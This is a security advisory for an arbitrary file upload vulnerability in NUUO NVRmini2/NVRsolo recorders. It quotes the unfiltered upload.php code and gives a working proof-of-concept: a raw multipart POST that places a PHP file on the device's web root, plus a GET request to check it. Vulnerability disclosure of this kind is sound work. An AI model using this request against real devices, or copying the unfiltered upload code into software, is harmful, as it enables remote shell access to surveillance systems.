NUUO NVRmini2 and NVRsolo suffer from a remote shell upload vulnerability.
bdc03f1cb1c4e45f65f4b6a879ef92ceNUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
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Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity
Affected Version: All
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Vulnerability Description
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Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over the world.
Vulnerable cgi: /upload.php
<?php
//echo $_FILES['userfile']['type'];
//echo ":";
//echo $_FILES['userfile']['size'];
//echo ":";
//echo urldecode($_FILES['userfile']['name']);
//echo ":";
//echo $_FILES['userfile']['tmp_name'];
//echo ":";
//echo $_FILES['userfile']['error'];
//echo ":";
echo $_FILES['userfile']['name'];
copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']);
?>
As the code above, no any filter, so we can upload a php shell directly to the web server.
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POC && EXP
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1. Upload 'nuuonvr.php' to web root path:
POST /upload.php HTTP/1.1
Host: 192.168.10.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------969849961
Content-Length: 162
----------969849961
Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php"
<?php phpinfo();@unlink(__FILE__);?>
----------969849961--
2. Check if the php file is uploaded successfully:
GET http://192.168.10.1/nuuonvr.php
If the page returns phpinfo info, target is vulnerable! Just enjoy it!